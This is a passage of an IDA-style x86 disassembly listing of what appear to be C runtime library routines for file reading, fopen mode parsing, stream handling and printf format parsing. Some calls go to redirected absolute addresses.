		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC700
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC600h[eax*4]
		mov	eax, dword_4DC600[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_41F1E4
		call	near ptr 2670D55h
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB2A8, 9
		mov	dword_4DB2AC, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8

loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------

loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------

loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh

loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE

loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------

loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jnz	short loc_41F285
		call	near ptr 2670D55h
		nop
		test	eax, eax
		jnz	short loc_41F2CC

loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7

loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------

loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0

loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh

loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi

loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------

loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al

loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------

loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh

loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB494
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------

loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------

loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h

loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2

loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx

loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458

loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E

loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------

loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB490
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5E0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB5C8
		mov	edi, ebx

loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------

loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------

loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB5C8
		mov	[edi+ecx], eax
		mov	eax, dword_4DB5C8
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi

loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C328
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------

loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C328
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------

loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------

loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA38
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA58
		jnz	short loc_41F5F5

loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC

loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx

loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------

loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------

loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C980

loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch

loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------

loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------

loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------

loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh

loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------

loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------

loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax

loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump

loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax

loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------

loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx

loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C328	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8

loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh

loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C544
		mov	[ebp+var_8], ecx

loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------

loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------

loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8

loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
